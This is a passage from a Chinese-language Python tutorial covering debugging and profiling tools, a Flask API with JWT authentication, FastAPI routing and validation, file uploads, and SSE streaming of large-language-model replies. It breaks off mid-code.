| 级别 | 用途 | 示例 |
|---|---|---|
DEBUG | 开发调试用,生产环境关闭 | 变量值、SQL 语句、请求参数 |
INFO | 记录正常运行状态 | 服务启动、请求处理完成、定时任务执行 |
WARNING | 不影响运行但需要关注 | 磁盘空间不足、配置缺失使用默认值 |
ERROR | 某个功能失败 | 数据库连接失败、文件读取异常 |
CRITICAL | 程序可能无法继续运行 | 核心服务不可用、数据损坏 |
pdb 是 Python 内置的交互式调试器。它能让你暂停程序执行,逐行运行,查看变量值,像"慢动作回放"一样找到 bug。
# 在代码中插入断点
def buggy_function(data):
result = []
for item in data:
breakpoint() # 程序会在这里暂停(Python 3.7+)
# 旧版写法:import pdb; pdb.set_trace()
processed = item * 2
result.append(processed)
return result
# 假设有这段有 bug 的代码
def find_average(numbers):
total = 0
for n in numbers:
total += n
return total / len(numbers) # 如果 numbers 为空会报 ZeroDivisionError
# 用 pdb 调试:
def find_average_debug(numbers):
breakpoint() # 在这里暂停
total = 0
for n in numbers:
total += n
return total / len(numbers)
find_average_debug([]) # 传入空列表触发 bug
(Pdb) 提示符p numbers——查看 numbers 的值,发现是 []n——执行下一行,total = 0n——跳过 for 循环(空列表不进入循环体)n——执行 total / len(numbers),len(numbers) 为 0,触发 ZeroDivisionErrorq 退出调试| 命令 | 缩写 | 说明 |
|---|---|---|
next | n | 执行下一行(不进入函数内部) |
step | s | 执行下一行(进入函数内部) |
continue | c | 继续运行到下一个断点 |
print expr | p expr | 打印表达式的值 |
list | l | 显示当前代码位置周围的代码 |
where | w | 显示调用堆栈 |
up | u | 跳到上一层调用栈 |
down | d | 跳到下一层调用栈 |
break N | b N | 在第 N 行设置断点 |
break func | b func | 在函数入口设置断点 |
clear | cl | 清除所有断点 |
return | r | 运行到当前函数返回 |
args | a | 打印当前函数的参数 |
quit | q | 退出调试器 |
# 事后调试——程序崩溃后进入 pdb
# 用 python -m pdb your_script.py 运行,崩溃后可以用 pdb 检查现场
# 在代码中启用事后调试
import pdb
import traceback
try:
risky_operation()
except Exception:
traceback.print_exc() # 打印异常堆栈
pdb.post_mortem() # 进入事后调试,可以检查当时的变量
现代 IDE 提供了比 pdb 更友好的图形化调试体验。以 VS Code 为例:
# VS Code 的 launch.json 配置(.vscode/launch.json)
{
"version": "0.2.0",
"configurations": [
{
"name": "调试当前文件",
"type": "debugpy",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal",
"justMyCode": true // 只调试自己的代码,跳过库代码
},
{
"name": "附加到进程",
"type": "debugpy",
"request": "attach",
"connect": {"host": "localhost", "port": 5678}
}
]
}
| 快捷键 | 功能 |
|---|---|
F5 | 继续运行 / 启动调试 |
F10 | 单步跳过(不进入函数) |
F11 | 单步进入(进入函数内部) |
Shift+F11 | 单步跳出(执行到当前函数返回) |
F9 | 切换断点 |
Ctrl+Shift+F5 | 重启调试 |
Shift+F5 | 停止调试 |
warnings 用于发出"不致命但需要注意"的提示,比如使用了废弃的 API、传入了不推荐的参数:
import warnings
# 发出警告
warnings.warn("这个函数将在 v2.0 移除,请使用 new_function()", DeprecationWarning)
# 常见警告类型
# DeprecationWarning — 废弃功能
# FutureWarning — 未来版本会改变的行为
# UserWarning — 用户自定义警告
# RuntimeWarning — 运行时可疑行为
# 过滤警告
warnings.filterwarnings("ignore") # 忽略所有警告
warnings.filterwarnings("error") # 把警告变成异常
warnings.filterwarnings("ignore", category=DeprecationWarning) # 只忽略特定类型
# 实际用法:标记废弃函数
import warnings
def old_api(data):
"""已废弃,请使用 new_api()"""
warnings.warn(
"old_api() 已废弃,请使用 new_api(),将在 v2.0 移除",
DeprecationWarning,
stacklevel=2 # 指向调用者而不是这个函数内部
)
return new_api(data)
def new_api(data):
return [x * 2 for x in data]
import traceback
import sys
# 方式一:打印当前异常的堆栈
try:
1 / 0
except:
traceback.print_exc() # 直接打印到 stderr
# 方式二:获取异常信息字符串
try:
1 / 0
except:
error_msg = traceback.format_exc() # 返回字符串,可以写入日志
print(error_msg)
# 方式三:获取异常的详细信息
try:
1 / 0
except:
exc_type, exc_value, exc_tb = sys.exc_info()
print(f"异常类型:{exc_type.__name__}")
print(f"异常信息:{exc_value}")
print(f"异常位置:{traceback.extract_tb(exc_tb)[-1]}")
import cProfile
def slow_function():
total = 0
for i in range(1000000):
total += i * i
return total
def another_slow():
return sum(x ** 2 for x in range(500000))
def main():
slow_function()
another_slow()
# 分析函数性能
cProfile.run("main()")
输出结果解读:
# 输出示例:
# 8 function calls in 0.280 seconds
#
# Ordered by: standard name
#
# ncalls tottime percall cumtime percall filename:lineno(function)
# 1 0.150 0.150 0.150 0.150 <string>:1(slow_function)
# 1 0.120 0.120 0.120 0.120 <string>:1(another_slow)
# 1 0.000 0.000 0.280 0.280 <string>:1(main)
#
# ncalls — 函数被调用的次数
# tottime — 函数自身花费的总时间(不含子函数)
# percall — tottime / ncalls(每次调用的自身时间)
# cumtime — 函数及子函数花费的总时间
# percall — cumtime / ncalls(每次调用的总时间)
# 更方便的分析方式:保存为文件并排序
import cProfile
import pstats
# 分析并保存结果
cProfile.run("main()", "profile_output.prof")
# 加载并分析
stats = pstats.Stats("profile_output.prof")
stats.sort_stats("cumulative") # 按累计时间排序
stats.print_stats(10) # 只显示前 10 行
# 命令行分析整个脚本
# python -m cProfile -s cumulative your_script.py
# python -m cProfile -s tottime your_script.py # 按自身时间排序
cProfile 只能分析到函数级别,如果想知道函数内哪一行最慢,需要用 line_profiler:
# pip install line_profiler
# 用 @profile 装饰器标记要分析的函数
@profile
def process_data(n):
data = [i ** 2 for i in range(n)] # 第 1 行
filtered = [x for x in data if x % 2 == 0] # 第 2 行
total = sum(filtered) # 第 3 行
return total / len(filtered) if filtered else 0 # 第 4 行
process_data(100000)
# 运行:kernprof -l -v your_script.py
# 输出示例:
# Line # Hits Time Per Hit % Time Line Contents
# =======================================================
# 3 1 15.0 15.0 25.0 data = [i ** 2 for i in range(n)]
# 4 1 30.0 30.0 50.0 filtered = [x for x in data if x % 2 == 0]
# 5 1 10.0 10.0 16.7 total = sum(filtered)
# 6 1 5.0 5.0 8.3 return total / len(filtered) if filtered else 0
# pip install memory_profiler
from memory_profiler import profile
@profile
def memory_heavy():
a = [i for i in range(100000)] # 分配一大块内存
b = [x ** 2 for x in a] # 再分配一大块
c = dict(zip(a, b)) # 字典更耗内存
del a # 释放 a
return len(c)
memory_heavy()
# 运行:python -m memory_profiler your_script.py
# 输出示例:
# Line # Mem usage Increment Line Contents
# ================================================
# 4 45.0 MiB 0.0 MiB a = [i for i in range(100000)]
# 5 52.0 MiB 7.0 MiB b = [x ** 2 for x in a]
# 6 60.0 MiB 8.0 MiB c = dict(zip(a, b))
# 7 52.0 MiB -8.0 MiB del a
import timeit
# 测量执行时间
time1 = timeit.timeit("sum(range(1000))", number=10000)
time2 = timeit.timeit(
"reduce(lambda a,b:a+b, range(1000))",
setup="from functools import reduce",
number=10000
)
print(f"sum: {time1:.4f}s")
print(f"reduce: {time2:.4f}s")
# 比较多种实现
code_snippets = {
"列表推导式": "[x**2 for x in range(1000)]",
"map+lambda": "list(map(lambda x: x**2, range(1000)))",
"for循环": """
result = []
for x in range(1000):
result.append(x**2)
""",
}
for name, code in code_snippets.items():
t = timeit.timeit(code, number=10000)
print(f"{name}: {t:.4f}s")
# 命令行用法
# python -m timeit "sum(range(1000))" -n 10000
import tracemalloc
tracemalloc.start()
# 你的代码
data = [i ** 2 for i in range(100000)]
# 查看内存使用
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics("lineno")
print("[ Top 5 内存消耗 ]")
for stat in top_stats[:5]:
print(stat)
# 比较两个时间点的内存差异(找出泄漏)
tracemalloc.start()
# 第一次快照
snapshot1 = tracemalloc.take_snapshot()
# 执行可能泄漏内存的操作
leaky_list = []
for i in range(10000):
leaky_list.append("x" * 1000)
# 第二次快照
snapshot2 = tracemalloc.take_snapshot()
# 比较差异
top_stats = snapshot2.compare_to(snapshot1, "lineno")
print("\n[ 内存增长 Top 5 ]")
for stat in top_stats[:5]:
print(stat)
# 按文件汇总内存使用(更适合大型项目)
import tracemalloc
tracemalloc.start()
data = {i: list(range(100)) for i in range(1000)}
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics("filename") # 按文件名汇总
for stat in top_stats[:5]:
print(stat)
# <string>: 0.5 MiB
# pip install snakeviz
# 1. 生成 profile 数据
import cProfile
cProfile.run("main()", "profile_output.prof")
# 2. 用 snakeviz 可视化(会在浏览器中打开交互式火焰图)
# snakeviz profile_output.prof
# 火焰图怎么看:
# - 横轴:函数耗时占比(越宽越慢)
# - 纵轴:调用链深度(上面是调用者,下面是被调用者)
# - 点击可以放大查看某个函数的详情
| 工具 | 分析粒度 | 适用场景 |
|---|---|---|
timeit | 代码段 | 比较两种实现的性能差异 |
cProfile | 函数级 | 找出整个程序中哪个函数最慢 |
line_profiler | 行级 | 找出函数内哪一行最慢 |
snakeviz | 可视化 | 用火焰图直观展示调用链和耗时 |
tracemalloc | 内存 | 找出内存泄漏和内存占用大户 |
memory_profiler | 行级内存 | 逐行分析内存分配 |
# 二分法定位 bug 的技巧
def complex_function(step1_data):
result1 = step1(step1_data)
print(f"DEBUG step1: {result1}") # ← 在这里加断点,看 step1 的输出对不对
# 如果 step1 的输出正确,说明 bug 在后面
# 如果 step1 的输出错误,说明 bug 在 step1 或更早
result2 = step2(result1)
print(f"DEBUG step2: {result2}")
result3 = step3(result2)
return result3
breakpoint() 而不是 import pdb; pdb.set_trace(),更容易搜索和清理本章是第一个实战项目——用 Flask 搭建一个企业级的 Web API 服务。不再是"Hello World"级别的玩具,而是包含项目结构规划、蓝图路由、SQLAlchemy ORM、JWT 鉴权、全局异常处理和部署方案的完整工程。学完本章,你就能独立搭建一个生产可用的后端服务。
盖房子之前要有蓝图——卧室在哪、厨房在哪、水电怎么走。写 Web 项目也一样,先规划好目录结构,代码才不会乱成一锅粥。一个 Flask 项目的标准结构是按"功能模块"组织代码,而不是把所有东西塞进一个文件。
# app/__init__.py —— 应用工厂函数
from flask import Flask
from app.extensions import db, jwt
from app.api.auth import auth_bp
from app.api.users import users_bp
def create_app(config_name="development"):
"""应用工厂:创建并配置 Flask 应用"""
app = Flask(__name__)
# 加载配置
app.config.from_object(f"app.config.{config_name.capitalize()}Config")
# 初始化扩展
db.init_app(app)
jwt.init_app(app)
# 注册蓝图(模块化路由)
app.register_blueprint(auth_bp, url_prefix="/api/auth")
app.register_blueprint(users_bp, url_prefix="/api/users")
# 注册全局错误处理
register_error_handlers(app)
return app
def register_error_handlers(app):
"""全局异常处理——统一错误响应格式"""
from app.utils.exceptions import AppError
@app.errorhandler(AppError)
def handle_app_error(e):
return {"code": e.code, "message": e.message}, e.status_code
@app.errorhandler(404)
def handle_404(e):
return {"code": 404, "message": "资源不存在"}, 404
@app.errorhandler(500)
def handle_500(e):
return {"code": 500, "message": "服务器内部错误"}, 500
# app/config.py —— 配置管理
import os
from dotenv import load_dotenv
load_dotenv() # 从 .env 文件加载环境变量
class BaseConfig:
"""基础配置"""
SECRET_KEY = os.environ.get("SECRET_KEY", "change-me-in-production")
SQLALCHEMY_TRACK_MODIFICATIONS = False
JWT_SECRET_KEY = os.environ.get("JWT_SECRET_KEY", "jwt-secret-change-me")
class DevelopmentConfig(BaseConfig):
"""开发环境配置"""
DEBUG = True
SQLALCHEMY_DATABASE_URI = "sqlite:///dev.db"
class ProductionConfig(BaseConfig):
"""生产环境配置"""
DEBUG = False
SQLALCHEMY_DATABASE_URI = os.environ.get("DATABASE_URL")
# app/extensions.py —— 扩展实例(集中管理,避免循环导入)
from flask_sqlalchemy import SQLAlchemy
from flask_jwt_extended import JWTManager
db = SQLAlchemy()
jwt = JWTManager()
SQL 就像你用外语和数据库"对话"。如果你外语不好(SQL 写错了),数据库就听不懂。ORM(对象关系映射)就像一个翻译官——你用 Python 代码说"给我找所有年龄大于 18 的用户",ORM 帮你翻译成 SQL 发给数据库。你不需要记住 SQL 语法,只需要会写 Python。
# app/models/user.py —— 用户模型
from datetime import datetime
from app.extensions import db
class User(db.Model):
"""用户模型"""
__tablename__ = "users"
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False, index=True)
email = db.Column(db.String(120), unique=True, nullable=False)
password_hash = db.Column(db.String(256), nullable=False)
is_active = db.Column(db.Boolean, default=True)
created_at = db.Column(db.DateTime, default=datetime.utcnow)
def to_dict(self):
"""序列化为字典(不暴露密码)"""
return {
"id": self.id,
"username": self.username,
"email": self.email,
"is_active": self.is_active,
"created_at": self.created_at.isoformat(),
}
def __repr__(self):
return f"<User {self.username}>"
# app/api/users.py —— 用户路由(蓝图)
from flask import Blueprint, request
from flask_jwt_extended import jwt_required, get_jwt_identity
from app.extensions import db
from app.models.user import User
from app.utils.exceptions import AppError
users_bp = Blueprint("users", __name__)
@users_bp.route("/", methods=["GET"])
@jwt_required() # 需要 JWT token 才能访问
def get_users():
"""获取用户列表(分页)"""
page = request.args.get("page", 1, type=int)
per_page = request.args.get("per_page", 20, type=int)
pagination = User.query.paginate(page=page, per_page=per_page)
return {
"users": [u.to_dict() for u in pagination.items],
"total": pagination.total,
"page": page,
"pages": pagination.pages,
}
@users_bp.route("/<int:uid>", methods=["GET"])
@jwt_required()
def get_user(uid):
"""获取单个用户"""
user = db.get_or_404(User, uid, description="用户不存在")
return user.to_dict()
@users_bp.route("/<int:uid>", methods=["PUT"])
@jwt_required()
def update_user(uid):
"""更新用户信息"""
user = db.get_or_404(User, uid, description="用户不存在")
data = request.get_json()
# 只允许更新特定字段
allowed_fields = ["username", "email"]
for field in allowed_fields:
if field in data:
setattr(user, field, data[field])
db.session.commit()
return user.to_dict()
@users_bp.route("/<int:uid>", methods=["DELETE"])
@jwt_required()
def delete_user(uid):
"""删除用户(软删除)"""
user = db.get_or_404(User, uid, description="用户不存在")
user.is_active = False # 软删除:标记为不活跃
db.session.commit()
return {"message": "用户已删除"}, 200
JWT 就像一张门禁卡。你去前台(登录接口)出示身份证(用户名+密码),前台验证后给你一张门禁卡(JWT token)。之后你进出各个房间(访问 API),只需要刷门禁卡就行,不需要每次都出示身份证。门禁卡上有你的信息和有效期,过期了需要重新办理。
# app/api/auth.py —— 认证路由
from datetime import timedelta
from flask import Blueprint, request
from flask_jwt_extended import (
create_access_token,
create_refresh_token,
jwt_required,
get_jwt_identity,
)
from werkzeug.security import generate_password_hash, check_password_hash
from app.extensions import db
from app.models.user import User
auth_bp = Blueprint("auth", __name__)
@auth_bp.route("/register", methods=["POST"])
def register():
"""用户注册"""
data = request.get_json()
# 参数验证
if not data or not data.get("username") or not data.get("password"):
return {"error": "用户名和密码必填"}, 400
if len(data["password"]) < 8:
return {"error": "密码至少 8 位"}, 400
# 检查用户名是否已存在
if User.query.filter_by(username=data["username"]).first():
return {"error": "用户名已存在"}, 409
# 创建用户(密码必须哈希存储!)
user = User(
username=data["username"],
email=data.get("email", ""),
password_hash=generate_password_hash(data["password"]),
)
db.session.add(user)
db.session.commit()
return {"message": "注册成功", "user": user.to_dict()}, 201
@auth_bp.route("/login", methods=["POST"])
def login():
"""用户登录——获取 JWT token"""
data = request.get_json()
user = User.query.filter_by(username=data.get("username")).first()
# 验证用户名和密码
if not user or not check_password_hash(user.password_hash, data.get("password", "")):
return {"error": "用户名或密码错误"}, 401
# 生成 token(access_token 短期,refresh_token 长期)
access_token = create_access_token(
identity=user.id,
expires_delta=timedelta(hours=1),
)
refresh_token = create_refresh_token(
identity=user.id,
expires_delta=timedelta(days=30),
)
return {
"access_token": access_token,
"refresh_token": refresh_token,
"user": user.to_dict(),
}
werkzeug.security 的 generate_password_hash,永远不要存明文密码开发环境就像你的厨房——随便弄,油烟大也没关系。生产环境就像餐厅的厨房——要干净、高效、能同时服务很多客人。Flask 自带的开发服务器只能处理一个请求,就像餐厅只有一个服务员。部署时需要用 Gunicorn(多个服务员)+ Nginx(前台接待)来处理高并发。
# wsgi.py —— WSGI 入口文件
from app import create_app
app = create_app("production")
# Gunicorn 启动命令:
# gunicorn wsgi:app -w 4 -b 0.0.0.0:8000
# -w 4: 启动 4 个 worker 进程
# -b: 绑定地址和端口
# requirements.txt —— 生产环境依赖
flask==3.0.0
flask-sqlalchemy==3.1.1
flask-jwt-extended==4.6.0
flask-migrate==4.0.5
gunicorn==21.2.0
python-dotenv==1.0.0
werkzeug==3.0.1
# Nginx 配置示例(/etc/nginx/sites-available/myapp)
# server {
# listen 80;
# server_name your-domain.com;
#
# location / {
# proxy_pass http://127.0.0.1:8000;
# proxy_set_header Host $host;
# proxy_set_header X-Real-IP $remote_addr;
# }
#
# location /static/ {
# alias /path/to/myapp/static/;
# }
# }
werkzeug.security 哈希存储FastAPI 是目前 Python 生态中最快的 Web 框架之一,基于 Starlette 和 Pydantic,原生支持异步、自动文档生成和类型校验。如果你用过 Flask,会发现 FastAPI 的代码更简洁、性能更强、开发体验更好。本章从零开始教你用 FastAPI 构建专业的 REST API。
# 安装
# pip install fastapi uvicorn
# 最简单的 FastAPI 应用
from fastapi import FastAPI
app = FastAPI()
@app.get("/")
def read_root():
return {"message": "Hello, FastAPI!"}
# 启动命令:uvicorn main:app --reload
from fastapi import FastAPI
app = FastAPI()
# GET 请求
@app.get("/users")
def get_users():
return [{"id": 1, "name": "张三"}, {"id": 2, "name": "李四"}]
# GET 请求带路径参数
@app.get("/users/{user_id}")
def get_user(user_id: int):
return {"id": user_id, "name": f"用户{user_id}"}
# POST 请求
@app.post("/users")
def create_user(name: str, age: int):
return {"id": 3, "name": name, "age": age}
# PUT 请求
@app.put("/users/{user_id}")
def update_user(user_id: int, name: str, age: int):
return {"id": user_id, "name": name, "age": age}
# DELETE 请求
@app.delete("/users/{user_id}")
def delete_user(user_id: int):
return {"message": f"用户 {user_id} 已删除"}
from fastapi import FastAPI
from pydantic import BaseModel, Field
from typing import Optional
app = FastAPI()
# 定义数据模型
class UserCreate(BaseModel):
name: str = Field(..., min_length=2, max_length=50, description="用户名")
age: int = Field(..., ge=0, le=150, description="年龄")
email: str = Field(..., description="邮箱")
phone: Optional[str] = Field(None, description="手机号(可选)")
class UserResponse(BaseModel):
id: int
name: str
age: int
email: str
@app.post("/users", response_model=UserResponse)
def create_user(user: UserCreate):
# FastAPI 自动校验请求体,不符合要求会返回 422 错误
return {"id": 1, **user.dict()}
# 测试:
# POST /users
# {"name": "张三", "age": 18, "email": "test@email.com"}
| 字段类型 | 校验方式 | 示例 |
|---|---|---|
str | min_length, max_length, regex | Field(min_length=2) |
int | ge, gt, le, lt | Field(ge=0, le=150) |
float | ge, gt, le, lt | Field(gt=0) |
list | min_items, max_items | Field(min_items=1) |
Optional | 可选字段,默认 None | Optional[str] = None |
from fastapi import FastAPI, Query, Header, Cookie
app = FastAPI()
# 查询参数:/users?page=1&size=10&keyword=张
@app.get("/users")
def get_users(
page: int = Query(1, ge=1, description="页码"),
size: int = Query(10, ge=1, le=100, description="每页数量"),
keyword: str = Query(None, description="搜索关键词")
):
return {
"page": page,
"size": size,
"keyword": keyword,
"data": []
}
# 请求头
@app.get("/headers")
def get_headers(user_agent: str = Header(None)):
return {"user_agent": user_agent}
# Cookie
@app.get("/cookies")
def get_cookies(session_id: str = Cookie(None)):
return {"session_id": session_id}
from fastapi import FastAPI, Depends, HTTPException
app = FastAPI()
# 模拟数据库
fake_users_db = {
1: {"id": 1, "name": "张三", "is_active": True},
2: {"id": 2, "name": "李四", "is_active": False},
}
# 依赖函数:获取用户
def get_user(user_id: int):
user = fake_users_db.get(user_id)
if not user:
raise HTTPException(status_code=404, detail="用户不存在")
return user
# 依赖函数:验证用户是否激活
def get_active_user(user: dict = Depends(get_user)):
if not user["is_active"]:
raise HTTPException(status_code=400, detail="用户未激活")
return user
# 使用依赖
@app.get("/users/{user_id}")
def read_user(user: dict = Depends(get_active_user)):
return user
# 依赖链:get_active_user 依赖 get_user
# 访问 /users/1 → get_user(1) → get_active_user(user) → 返回
# 访问 /users/2 → get_user(2) → get_active_user(user) → 400 错误
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
import time
app = FastAPI()
# 中间件:请求计时
@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
start_time = time.time()
response = await call_next(request)
process_time = time.time() - start_time
response.headers["X-Process-Time"] = str(process_time)
return response
# 全局异常处理
@app.exception_handler(Exception)
async def global_exception_handler(request: Request, exc: Exception):
return JSONResponse(
status_code=500,
content={"message": "服务器内部错误", "detail": str(exc)}
)
# 自定义异常
class BusinessError(Exception):
def __init__(self, message: str):
self.message = message
@app.exception_handler(BusinessError)
async def business_error_handler(request: Request, exc: BusinessError):
return JSONResponse(
status_code=400,
content={"message": exc.message}
)
@app.get("/test-error")
def test_error():
raise BusinessError("余额不足")
from fastapi import FastAPI, HTTPException, Depends, Query
from pydantic import BaseModel, Field
from typing import Optional, List
from datetime import datetime
app = FastAPI(title="用户管理系统", version="1.0.0")
# 数据模型
class UserCreate(BaseModel):
name: str = Field(..., min_length=2, max_length=50)
age: int = Field(..., ge=0, le=150)
email: str = Field(..., description="邮箱")
class UserUpdate(BaseModel):
name: Optional[str] = Field(None, min_length=2, max_length=50)
age: Optional[int] = Field(None, ge=0, le=150)
email: Optional[str] = None
class UserResponse(BaseModel):
id: int
name: str
age: int
email: str
created_at: str
# 模拟数据库
users_db = {}
next_id = 1
@app.post("/users", response_model=UserResponse, status_code=201)
def create_user(user: UserCreate):
global next_id
user_data = {
"id": next_id,
**user.dict(),
"created_at": datetime.now().isoformat()
}
users_db[next_id] = user_data
next_id += 1
return user_data
@app.get("/users", response_model=List[UserResponse])
def list_users(
page: int = Query(1, ge=1),
size: int = Query(10, ge=1, le=100)
):
start = (page - 1) * size
end = start + size
users = list(users_db.values())[start:end]
return users
@app.get("/users/{user_id}", response_model=UserResponse)
def get_user(user_id: int):
if user_id not in users_db:
raise HTTPException(status_code=404, detail="用户不存在")
return users_db[user_id]
@app.put("/users/{user_id}", response_model=UserResponse)
def update_user(user_id: int, user_update: UserUpdate):
if user_id not in users_db:
raise HTTPException(status_code=404, detail="用户不存在")
user = users_db[user_id]
update_data = user_update.dict(exclude_unset=True)
user.update(update_data)
return user
@app.delete("/users/{user_id}", status_code=204)
def delete_user(user_id: int):
if user_id not in users_db:
raise HTTPException(status_code=404, detail="用户不存在")
del users_db[user_id]
# 启动:uvicorn main:app --reload
# 访问文档:http://127.0.0.1:8000/docs
gunicorn main:app -w 4 -k uvicorn.workers.UvicornWorker--reload 参数自动重载/users/me 要放在 /users/{user_id} 前面from fastapi import FastAPI, File, UploadFile
import shutil
import os
app = FastAPI()
# 方式一:UploadFile(推荐,支持大文件)
@app.post("/upload")
async def upload_file(file: UploadFile):
print(f"文件名:{file.filename}")
print(f"文件类型:{file.content_type}")
print(f"文件大小:{file.size} bytes")
# 保存文件
save_path = f"uploads/{file.filename}"
with open(save_path, "wb") as buffer:
shutil.copyfileobj(file.file, buffer)
return {"filename": file.filename, "size": file.size}
# 方式二:多文件上传
@app.post("/upload-multiple")
async def upload_multiple(files: list[UploadFile]):
results = []
for file in files:
save_path = f"uploads/{file.filename}"
with open(save_path, "wb") as buffer:
shutil.copyfileobj(file.file, buffer)
results.append({"filename": file.filename, "size": file.size})
return {"uploaded": len(results), "files": results}
# 方式三:限制文件类型和大小
from fastapi import HTTPException
@app.post("/upload-image")
async def upload_image(file: UploadFile = File(...)):
# 检查文件类型
allowed_types = ["image/jpeg", "image/png", "image/gif"]
if file.content_type not in allowed_types:
raise HTTPException(400, f"不支持的文件类型:{file.content_type}")
# 检查文件大小(限制 5MB)
contents = await file.read()
if len(contents) > 5 * 1024 * 1024:
raise HTTPException(400, "文件不能超过 5MB")
save_path = f"uploads/{file.filename}"
with open(save_path, "wb") as f:
f.write(contents)
return {"filename": file.filename, "size": len(contents)}
有些操作不需要让用户等待——比如发送邮件、写日志、清理缓存。用 BackgroundTasks 让它们在后台执行:
from fastapi import FastAPI, BackgroundTasks
import time
app = FastAPI()
def send_email(to: str, subject: str):
"""后台任务:发送邮件(耗时操作)"""
time.sleep(3) # 模拟发送
print(f"邮件已发送:{to} - {subject}")
def log_action(user_id: int, action: str):
"""后台任务:记录日志"""
with open("action.log", "a") as f:
f.write(f"{time.time()}: user {user_id} did {action}\n")
@app.post("/register")
def register(email: str, background_tasks: BackgroundTasks):
# 1. 立即返回响应(用户不用等邮件发完)
# 2. 邮件在后台发送
background_tasks.add_task(send_email, email, "欢迎注册!")
background_tasks.add_task(log_action, 1, "register")
return {"message": "注册成功,确认邮件稍后发送"}
@app.post("/orders")
def create_order(order_id: int, background_tasks: BackgroundTasks):
# 主逻辑:保存订单
# ...
# 后台:发通知、写日志、更新统计
background_tasks.add_task(send_email, "admin@example.com", f"新订单 {order_id}")
background_tasks.add_task(log_action, 1, f"create_order_{order_id}")
return {"order_id": order_id}
from contextlib import asynccontextmanager
from fastapi import FastAPI
# 旧写法(已废弃):
# @app.on_event("startup")
# async def startup(): ...
# 新写法:lifespan(Python 3.7+ / FastAPI 0.103+)
@asynccontextmanager
async def lifespan(app: FastAPI):
# 启动时执行
print("应用启动:初始化数据库连接、缓存等")
# db = await create_db_connection()
yield # 应用运行期间
# 关闭时执行
print("应用关闭:清理资源")
# await db.close()
app = FastAPI(lifespan=lifespan)
@app.get("/")
def root():
return {"message": "Hello"}
你用 ChatGPT 时,文字是一个一个蹦出来的,而不是等全部生成完才显示——这就是流式输出。本章教你用 FastAPI 实现 SSE(Server-Sent Events)流式响应,以及如何对接大模型 API 实现实时流式输出。这是开发 AI 应用的核心技能。
非流式:你去餐厅,厨师做完所有菜才端出来——等很久,但一次上齐。
流式:厨师做好一道端一道——不用等太久,边吃边上。
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio
import time
app = FastAPI()
# 模拟流式数据生成器
async def event_generator():
for i in range(10):
# 模拟处理延迟
await asyncio.sleep(0.5)
# SSE 格式:data: 内容\n\n
yield f"data: 消息 {i+1} - {time.strftime('%H:%M:%S')}\n\n"
yield "data: [DONE]\n\n"
@app.get("/stream")
async def stream():
return StreamingResponse(
event_generator(),
media_type="text/event-stream",
headers={
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"X-Accel-Buffering": "no" # 禁用 Nginx 缓冲
}
)
# 启动:uvicorn main:app --reload
# 测试:curl http://127.0.0.1:8000/stream
# SSE 消息格式规范
# 每条消息以 \n\n 结尾,字段以 \n 分隔
# 基本格式
data: 这是消息内容\n\n
# 带事件类型
event: message\ndata: 这是消息内容\n\n
# 带 ID(用于断线重连)
id: 1\ndata: 这是消息内容\n\n
# 带重试时间(毫秒)
retry: 5000\ndata: 这是消息内容\n\n
# 多行数据
data: 第一行\n
data: 第二行\n
data: 第三行\n\n
# 客户端收到:第一行\n第二行\n第三行
import openai
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from pydantic import BaseModel
from typing import List
app = FastAI()
# 配置 OpenAI
client = openai.OpenAI(api_key="your-api-key")
class ChatRequest(BaseModel):
message: str
history: List[dict] = []
async def generate_stream(message: str, history: List[dict]):
"""流式生成大模型回复"""
messages = history + [{"role": "user", "content": message}]
# 调用 OpenAI 流式 API
stream = client.chat.completions.create(
model="gpt-3.5-turbo",
messages=messages,
stream=True # 开启流式输出
)
# 逐块输出
for chunk in stream:
if chunk.choices[0].delta.content is not None:
content = chunk.choices[0].delta.content
yield f"data: {content}\n\n"
yield "data: [DONE]\n\n"
@app.post("/chat/stream")
async def chat_stream(request: ChatRequest):
return StreamingResponse(
generate_stream(request.message, request.history),
media_type="text/event-stream"
)
import httpx
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from pydantic import BaseModel
app = FastAPI()
class ChatRequest(BaseModel):
message: str
model: str = "qwen-turbo"
# 通义千问 API
async def call_qwen_stream(message: str):
"""流式调用通义千问"""
url = "https://dashscope.aliyuncs.com/api/v1/services/aigc/text-generation/generation"
headers = {
"Authorization": "Bearer your-api-key",
"Content-Type": "application/json"
}
data = {
"model": "qwen-turbo",
"input": {"messages": [{"role": "user", "content": message}]},
"parameters": {"incremental_output": True} # 开启流式
}
async with httpx.AsyncClient() as client:
async with client.stream("POST", url, json=data, headers=headers, timeout=60) as response:
async for line in response.aiter_lines():
if line.startswith("data:"):
yield f"{line}\n\n"
@app.post("/chat/qwen")
async def chat_qwen(request: ChatRequest):
return StreamingResponse(
call_qwen_stream(request.message),
media_type="text/event-stream"
)
<!DOCTYPE html>
<html>
<head>
<title>SSE 流式输出示例</title>
<style>
body { font-family: sans-serif; max-width: 800px; margin: 50px auto; }
#output { background: #f5f5f5; padding: 20px; min-height: 200px; white-space: pre-wrap; }
button { padding: 10px 20px; font-size: 16px; cursor: pointer; }
</style>
</head>
<body>
<h1>SSE 流式输出演示</h1>
<button onclick="startStream()">开始流式请求</button>
<div id="output"></div>
<script>
function startStream() {
const output = document.getElementById('output');
output.textContent = '';
const eventSource = new EventSource('/stream');
eventSource.onmessage = function(event) {
if (event.data === '[DONE]') {
eventSource.close();
output.textContent += '\n\n--- 传输完成 ---';
return;
}
output.textContent += event.data;
};
eventSource.onerror = function(event) {
eventSource.close();
output.textContent += '\n\n--- 连接错误 ---';
};
}
</script>
</body>
</html>
from fastapi import FastAPI, HTTPException
from fastapi.responses import StreamingResponse, HTMLResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
from typing import List, Optional
import openai
import json
app = FastAPI(title="AI 聊天助手")
# 配置
client = openai.OpenAI(
api_key="your-api-key",
base_url="https://api.openai.com/v1" # 或国产大模型地址
)
class Message(BaseModel):
role: str # "user" 或 "assistant"
content: str
class ChatRequest(BaseModel):
message: str
history: List[Message] = []
model: str = "gpt-3.5-turbo"
temperature: float = 0.7
async def stream_chat(request: ChatRequest):
"""流式聊天生成器"""
